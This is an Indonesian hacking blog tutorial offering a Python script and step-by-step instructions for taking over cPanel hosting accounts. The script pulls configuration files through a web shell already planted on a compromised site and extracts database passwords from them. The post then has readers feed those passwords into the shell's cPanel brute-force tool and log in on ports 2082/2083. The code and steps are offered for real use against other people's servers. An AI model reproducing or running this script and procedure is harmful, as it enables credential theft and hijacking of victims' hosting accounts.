Tutorial Crack Cpanel [ Phyton ]

Mumpung lagi ada bahan buat praktek sekalian saya buat tutor :)
Kali ini saya mau bahas tutorial Crack Cpanel dengan file phyton,

Sebelum nya copy file berikut lalu simpan dengan format .py, save as type:"all file"

 #!/usr/bin/env python 
  
import sys 
import os 
os.system('color a') #green text 
import re 
import subprocess 
import urllib 
import glob 
from platform import system 
  
  
def banner(): 
  print ''' 
`###### #######   ######   #######  ###########
 #$$$$# #$$$$$$#  #$$$$#  #$$$$$$$# #$$$$$$$$$#  
  #$$#  #$$###$$#  #$$#   #$$###$$# ####$$#####
  #$$#  #$$# #$$#  #$$#   #$$# #$$#    #$$#
  #$$#  #$$# #$$#  #$$#   #$$# #$$#    #$$#
  #$$#  #$$###$$#  #$$#   #$$###$$#    #$$#
 #$$$$# #$$$$$$#  #$$$$#  #$$$$$$$#    #$$#
 ###### #######   ######   #######    ######  ATTACKER
 idiot-attacker.blogspot.com | Greets: Arpns1986x - K4mb1n9 P3r4w4n
 
 
 
  '''
  
  
if len(sys.argv) != 3: 
  banner() 
  print'''     
    Usage: %s [URL...] [directory...] 
          
    Ex) %s http://www.test.com lnx1 
  ''' % (sys.argv[0], sys.argv[0]) 
  sys.exit(1) 
  
  
site = sys.argv[1] 
fout = sys.argv[2] 
  
  
try: 
    req  = urllib.urlopen(site) 
    read = req.read() 
    if system() == 'Linux': 
      f = open('/tmp/data.txt', 'w') 
      f.write(read) 
      f.close() 
    if system() == 'Windows': 
      f = open('data.txt', 'w')   
      f.write(read) 
      f.close() 
  
  
    i = 0
    if system() == 'Linux': 
      banner() 
      f = open('/tmp/data.txt', 'rU') 
      for line in f: 
        if line.startswith('<li><a') == True : 
          m = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m.group(2) 
          try:  urllib.urlretrieve(site + m.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<img') == True: 
          m1 = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m1.group(2) 
          try:  urllib.urlretrieve(site + m1.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<IMG') == True: 
          m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m2.group(2) 
          try:  urllib.urlretrieve(site + m2.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
      f.close() 
    if system() == 'Windows': 
      banner()   
      f = open('data.txt', 'rU') 
      for line in f: 
        if line.startswith('<li><a') == True : 
          m = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m.group(2) 
          try:  urllib.urlretrieve(site + m.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<img') == True: 
          m1 = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m1.group(2) 
          try:  urllib.urlretrieve(site + m1.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<IMG') == True: 
          m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m2.group(2) 
          try:  urllib.urlretrieve(site + m2.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
      f.close() 
    if system() == 'Linux': 
     cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait() 
    if system() == 'Windows': 
      cleanup = subprocess.Popen('del C:\data.txt', shell=True).wait() 
    print '\n', '-' * 100, '\n'
    if system() == 'Linux': 
        for root, dirs, files in os.walk(fout): 
          for fname in files: 
            fullpath = os.path.join(root, fname) 
            f = open(fullpath, 'r') 
            for line in f: 
              secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line) 
              if secr is not None: print (secr.group(2))   
              secr1 = re.search(r"(password = ')(.+[^>])(';)", line) 
              if secr1 is not None:  print  (secr1.group(2)) 
              secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line) 
              if secr2 is not None: print (secr2.group(3)) 
              secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line) 
              if secr3 is not None: print (secr3.group(2)) 
              secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line) 
              if secr4 is not None: print (secr4.group(2)) 
              secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line) 
              if secr5 is not None: print (secr5.group(2)) 
              secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line) 
              if secr6 is not None: print (secr6.group(2)) 
              secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line) 
              if secr7 is not None: print (secr7.group(2)) 
            f.close() 
    if system() == 'Windows': 
        for infile in glob.glob( os.path.join(fout, '*.txt') ): 
            f = open(infile, 'r') 
            for line in f: 
              secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line) 
              if secr is not None: print (secr.group(2))   
              secr1 = re.search(r"(password = ')(.+[^>])(';)", line) 
              if secr1 is not None:  print  (secr1.group(2)) 
              secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line) 
              if secr2 is not None: print (secr2.group(3)) 
              secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line) 
              if secr3 is not None: print (secr3.group(2)) 
              secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line) 
              if secr4 is not None: print (secr4.group(2)) 
              secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line) 
              if secr5 is not None: print (secr5.group(2)) 
              secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line) 
              if secr6 is not None: print (secr6.group(2)) 
              secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line) 
              if secr7 is not None: print (secr7.group(2)) 
            f.close() 
              
    print '\nCreated by: Idiot Attacker \n >> Arpns1986x a.k.a RioSetyawan'
except (KeyboardInterrupt): 
    print '\nThanks for using it ._^'

Oh iya jangan lupa Instal Phytonya, Kalo belum punya bisa download disini
Dan pastikan kalian udah punya website yang udah tertanam shell,
Pakai shell dari kami, soalnya sudah kami recoding buat ngambil config nantinya,
[ Download ] Shell Injection Recoded By Idiot Attacker

Setelah itu klik Idiot shell, lihat gambar di bawah

Ikuti Langkah-langkah di bawah ini, lihat gambar

Setelah itu open new tab confignya, lihat gambar

Copy Link Nya, Ingat jangan salah, Config nya yg http://site.com/IDIOTSHELL yang di copy,
Bukan http://site.com/idiotshell

Setelah itu run file kalian tadi.
perintahnya file.py http://site.com/IDIOTSHELL folder penyimpanan configmu nanti,
contoh misalnya saya simpan di drive H di folder config, maka perintahnya
file.py http://site.com/IDIOTSHELL h:\config

Lalu tekan Enter

Nah itu udah dapat password config nya, copy password confignya, cara copynya klik kanan mark, blog lalu enter,

Setelah itu masuk lagi ke shell tadi.
Klik Cpanel Bruteforce, pastekan list password tadi di bawah kolom user, Lalu klik start

Nah sudah dapat user+pass cpanelnya, silahkan login dengan IP server nya, IP server bisa kalian lihat di atas menu shell.
Tambahkan :2082 atau :2083 untuk login cpanel
Contoh: 127.0.0.1:2083

Sekian Wasalam ^_^

Tutorial Crack Cpanel [ Phyton ]

Bagikan bos:

2 Komentar